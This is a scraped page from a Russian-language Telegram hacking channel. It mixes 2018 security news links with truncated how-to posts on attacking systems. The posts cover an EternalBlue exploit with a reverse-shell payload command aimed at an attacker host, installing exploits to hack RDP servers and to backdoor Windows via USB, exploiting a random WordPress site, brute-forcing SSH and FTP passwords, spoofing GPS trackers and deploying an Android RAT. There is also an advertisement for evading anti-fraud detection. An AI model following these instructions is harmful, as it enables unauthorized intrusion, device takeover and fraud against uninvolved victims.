Телеграмм чат группы Haccking страница 55

873420:27пожаловаться #1

2018 August 31

#Новости

1. Смартфоны 11 производителей уязвимы перед атаками с использованием AT-команд. https://xakep.ru/2018/08/29/at-commands-danger/

2. Уязвимость в Fiserv позволяла раскрыть данные клиентов сотен банков. https://www.securitylab.ru/news/495352.php

3. «Яндекс» отказался выполнять требование Роскомнадзора. Видеосервис могут заблокировать после 30 августа. https://habr.com/post/421605/

4. Acer представила самый легкий в мире 15-дюймовый ноутбук‍. https://news.ru/tehnologii/acer-samyj-tonkij-samyj-legkij-noutbuki/?utm_source=yxnews&utm_medium=desktop/

5. ESET предупреждает о всплеске активности нового шифратора GandCrab‍. https://www.anti-malware.ru/news/2018-08-29-1447/27283?utm_source=yxnews&utm_medium=desktop

865510:07пожаловаться #2

#Обучение
Версия эксплоит ETERNALBLUE на Python..

Версия эксплоит ETERNALBLUE на Python.

И так, инструменты: Kali Linux NASM Python v2.7 Metasploit Framework Тестируемый хост должен иметь включенную гостевую учетную запись(иначе получите ошибку) или известную пару логин:пароль! Шелл-код уровня ядра берем здесь Проведем два вида атаки: 1. получим обратный шелл через TCP 2. получим сессию в meterpreter. Готовим начинку: Сохраняем .аsm файл и компилируем: nasm -f bin kernel_shell_x64.asm. #msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=[хост атакующего]…

874614:07пожаловаться #3

#Обучение
Уязвимость Microsoft Office CVE-2017-8570.

Уязвимость Microsoft Office CVE-2017-8570

Всем привет. Сегодня разберем такую уязвимость как Microsoft Office CVE 2017 8570. Данная уязвимость довольно свежая, позволяет получить доступ к удаленной машине используя специально подготовленный файл PowerPoint, более подробно о ней можете почитать по ссылке: Использована она может быть на следующих версиях: Microsoft Office 2007 Service Pack 3 Microsoft Office 2010 Service Pack 2 (32-bit editions) Microsoft Office 2010 Service Pack 2 (64-bit editions) Microsoft Office 2013 RT Service Pack 1 Microsoft Office…

975917:47пожаловаться #4

2018 September 01

#Новости

1. Сторонние разработчики опубликовали временный патч для свежей 0-day уязвимости в Windows. https://xakep.ru/2018/08/30/micropatch-for-0day/

2. В Ростове хакер похитил из банкомата более 1 млн рублей. https://www.securitylab.ru/news/495367.php

3. Россия тестирует новую технологию для блокировок в интернете‍. https://www.kommersant.ru/doc/3727208

4. Войти в Windows 10 можно под аккаунтом Google‍. https://goroday.ru/society/vojti_v_windows_10_mozhno_pod_akkauntom_google_24848?utm_source=yxnews&utm_medium=desktop

5. Взломали компанию TheTruthSpy, разрабатывающую шпионские приложения‍. https://xakep.ru/2018/08/30/thetruthspy-hacked/

761210:18пожаловаться #5

#Обучение
Ищем уязвимости в WordPress с помощью plecost.

Ищем уязвимости в WordPress с помощью plecost

Всем привет! Сегодня потестируем сканер безопасности Wordpress под названием plecost и проэксплуатируем одну небольшую уязвимость. plecost по умолчанию установлен в kali. Устанавливаем утилиту: apt-get update apt-get install python3-pip python3 -m pip install plecost cd /usr/bin/ rm plecost ln -s /usr/local/bin/plecost plecost Убеждаемся, что у нас установилась свежая версия 1.1.1: plecost Сканируем сайт с движком на WordPress: plecost Я произвел сканирование одного случайного сайта на Wordpress, ссылку…

872114:18пожаловаться #6

#Обучение
Взлом RDP windows.

Приветствую всех, отважился я на такой поступок как по балывать паблик)) (пабликом) по делится с Вами новым приёмом хека дедика, а именно: Windows Server 2003 SP1,SP2 и Windows XP SP0, SP1, SP3 Для начала нам по требуется скачать експлойт и установить его в Metasploit создав специальную для него папку в каталоге метасплойта: (все команды выполняем находясь в данной папке!) mkdir /opt/metasploit-framework/modules/exploits/windows/rdp затем копируем руби скрипт в эту же папку командой: cp esteemaudit.rb /opt/metasploit…

Взлом RDP windows

987617:58пожаловаться #7

2018 September 02

#Новости

1. Вредонос MagentoCore обнаружен на сайтах 7339 магазинов. https://xakep.ru/2018/08/31/magentocore/

2. Mastercard передает Google информацию о покупках. https://www.securitylab.ru/news/495390.php

3. Microsoft анонсировала следующее крупное обновление Windows 10‍. https://versiya.info/texno/82695?utm_source=yxnews&utm_medium=desktop

4. Facebook возобновила работу после сбоя. https://www.kommersant.ru/doc/3730887

5. Apple бесплатно починит iPhone 8 с дефектом материнской платы. https://dni24.com/exclusive/188155-apple-besplatno-pochinit-iphone-8-s-defektom-materinskoy-platy.html?utm_source=yxnews&utm_medium=desktop

765110:07пожаловаться #8

#Обучение
PyParser - Поиск и подбор эксплойтов.

PyParser - Поиск и подбор эксплойтов.

Приветствую! На этот раз хочу поделиться с вами небольшой и довольно простой утилитой, но от этого не менее полезной, для поиска и подбора необходимого эксплойта из нескольких источников. Установка и запуск: > git clone https://github.com/NullArray/PyParser > cd PyParser > chmod +x cveparser.py > ./cveparser.py Вводим API Shodan и попадаем в главное меню, все, что необходимо скрипт предложит установить автоматически. Пример поиска эксплойта: Зависимости: · blessings · shodan · pycurl Спасибо за внимание. Источник

876914:09пожаловаться #9

#Обучение
Sn1per - автоматический пентест.

Sn1per - автоматический пентест

Привет всем. брать тут: git clone https://github.com/1N3/Sn1per ставим: cd Sn1per chmod +x install.sh ./install.sh Y + Enter запускаем: sniper Снайпер - фреймворк призванный облегчить пентестеру жизнь на сколько это только возможно: Сканирует, ищеи уязвимости, ищет эксплоиты, брутит, тестирует на sql, веб-уязвимости, работа c DNS, даже google hacking имеется. Начнем с самого простого: Роутер. Для нашего примера я взял популярный роутер TP-Link Показывать всю портянку вывода смысла нет, покажу самое основное:…

981217:59пожаловаться #10

2018 September 03

#Новости

1. Мобильная малварь BusyGasper оставалась незамеченной несколько лет. https://xakep.ru/2018/08/31/busygasper/

2. Wireshark может прекратить работу из-за файлов трассировки вредоносных пакетов. https://www.securitylab.ru/news/495388.php

3. Google не выпустит смарт-часы Pixel Watch в этом году‍. https://www.vladtime.ru/computers/689600?utm_source=yxnews&utm_medium=desktop

4. «Яндекс» догнал Google на рынке поиска в РФ на Android-устройствах‍. https://tass.ru/ekonomika/5509994?utm_source=yxnews&utm_medium=desktop

5. В соцсети Twitter предложат отписываться от неинтересных страниц‍. https://www.kommersant.ru/doc/3727244

867810:26пожаловаться #11

#Обучение
Бэкдор Windows с помощью флешки.

Бэкдор Windows с помощью флешки

Здравствуйте, в данной статье я опишу способ для создания сеcсии с помощью флешки. Скачиваем екслпоит. (Вот все версии на которых "поддерживаеться" експлоит) 1. Нужно переименовать скачанный експлоит: cd /root/Загрузки/ ls mv 42382.rb CVE_2017_8464_LNK_Rce.rb 2. Перемещаем файл: mv CVE_2017_8464_LNK_Rce.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat/ 3. Запускаем Metasploit и перезапускам модули: msfconsole msf>reload_all 4. Создадим полезную нагрузку: use exploit/multi/handler set…

898114:27пожаловаться #12

#Обучение
Как найти SQL Injection с помощью дорков. Обзор V3n0M-Scanner.

Как найти SQL Injection с помощью дорков. Обзор V3n0M-Scanner

Всем привет! Сегодня будет небольшой обзор утилитки под названием V3n0M-Scanner. Самая стоящая функция сканера - поиск SQLi- и XSS-уязвимостей в на веб-сайтах с помощью дорков. А база дорков у V3n0M просто колоссальная: более 14 000 штук! Из второстепенных функций сканера: - поиск IP за Cloudflare (Cloudflare Resolver); - поиск админки веб-сайта; - dns brute. В будущем планируют реализовать функцию сканирования уязвимостей по базе Metasploit. Немного юмора: Что такое гугл дорк? Чаще встречаемое на полях…

982618:17пожаловаться #13

2018 September 04

#Новости

1. Check Point: целевые атаки на IoT и сетевые уязвимости возрастают. https://xakep.ru/2018/08/31/global-threat-impact-index-july/

2. В Ульяновске замдиректора одной из школ задержан за хакерство. https://www.securitylab.ru/news/495395.php

3. «Яндекс» обучит «Алису» говорить на иностранных языках. https://www.kommersant.ru/doc/3731194

4. Microsoft: Skype лишится функции Highlights. https://vistanews.ru/computers/software/265729?utm_source=yxnews&utm_medium=desktop

5. Найден способ отследить любое устройство на Android‍. http://ufacitynews.ru/news/2018/09/03/novaya-opasnaya-uyazvimost-pozvolyaet-otsledit-prakticheski-lyuboj-android-smartfon/?utm_source=yxnews&utm_medium=desktop

867409:27пожаловаться #14

#Обучение
hack GPS | телепортация.

Всем привет, смотрел я сегодня телевизор, что крайне бывает редко и то одним глазом, шла телепередача про GPS трекеры отслеживание украденных автомобилей, детей и всякого рода животин)) И пробралась в мою голову мысль описать методику посыла фэйк координат на эти самые трэкеры и т.д. Для телефонов все понятно, что можно скачать приложеньку настроить ее и хех... ловить покемонов хоть на северном полюсе, а вот с трекерами все сложнее нужно оборудование: blade-rf или hack-rf для посыла физического сигнала на…

hack GPS |

881613:27пожаловаться #15

#Обучение
Patator - на замену Hydra и Medusa.

Patator - на замену Hydra и Medusa

Приветствую форумчане, сегодня мы собрались ради него, приятного, и понятно. Того кто поможет подобрать забытый пароль от нужного, вашего, источника - Patator. Данный материал предоставлен в ознакомительных целях. Для начала нужно скачать его с просто интернета, открыть, и запустить. git clone https://github.com/lanjelot/patator cd patator python patator.py После того, как мы проверили на месте ли все необходимые нам модули. Мы начинаем искать тот что необходим нам(сегодня мы забыли два пароля, от ssh и ftp)…

980817:47пожаловаться #16

2018 September 05

#Новости

1. Атака SonarSnoop превращает смартфон в эхолокатор для хищения информации. https://xakep.ru/2018/09/03/sonarsnoop/

2. Альянс «Пять глаз» предъявил ультиматум технологическим компаниям. https://www.securitylab.ru/news/495426.php

3. NASA объявило конкурс по преобразованию CO₂ в полезные вещества. https://habr.com/post/422153/

4. Google выпустила инструмент для оценки данных в блокчейне Ethereum‍. https://versiya.info/novosti-rynka-kriptovalyut/82992?utm_source=yxnews&utm_medium=desktop

5. Microsoft признал неудачной функцию Highlights для Skype‍. https://hitech.vesti.ru/article/1029427/

867010:22пожаловаться #17

#Обучение
FakeAuth - Фреймворк для сетевых атак.

FakeAuth - Фреймворк для сетевых атак.

Приветствую! Сегодня я хочу обратить ваше внимание, на фреймворк предназначенный, в первую очередь, для проведения тестов на проникновение в Wi-Fi сети. FakeAuth - это фреймворк, для проведения атак Fake Authentication, написанный на python3, совмещенный с poison*. · ARP-spoofing (ARP — poisoning) — разновидность сетевой атаки типа MITM применяемая в сетях с использованием протокола ARP. В основном применяется в сетях Ethernet. Атака основана на недостатках протокола ARP. Особенности фреймворка: · Отсылка…

868715:32пожаловаться #18

Работаешь с антидетектом и не понимаешь - как антифрод палит твою подмену?

Попробуй Fake Vision - новейший бесплатный фейк-детектор, который покажет все недостатки в настройке браузера или подключения. Сервис работает по алгоритмам наиболее популярных на сегодняшний день антифрод-систем и способен значительно сэкономить время на настройку.

Работа с детектором очень простая - достаточно лишь зайти на него и запустить расширенный тест.

0% - хорошо, 100% - плохо. Подсвеченные пункты найденных улик позволят быстро устранить несоответствия и в разы увеличить эффективность работы.

Присоединяйся к обсуждению проекта и задавай вопросы разработчикам: t.me/fakevision

6419:27пожаловаться #19

#Обучение
Взлом Android - RAT - AhMyth.

Приветствую! Сегодня мы рассмотрим очередной RAT для Android железяк – AnMyth. На мой взгляд, это довольно успешная реализация RAT, так как не требует от оператора каких либо специальных знаний. Он доступен для разных платформ с их списком, можно ознакомиться тут. Выбираем, то, что необходимо, я решил не усложнять и ставил на Windows платформу: После запуска, открывается панель управления: В логах уже видно, что есть один подключенный девайс, но сначала необходимо, создать RAT-файл .apk. В этом нам поможет…

Взлом Android - RAT - AhMyth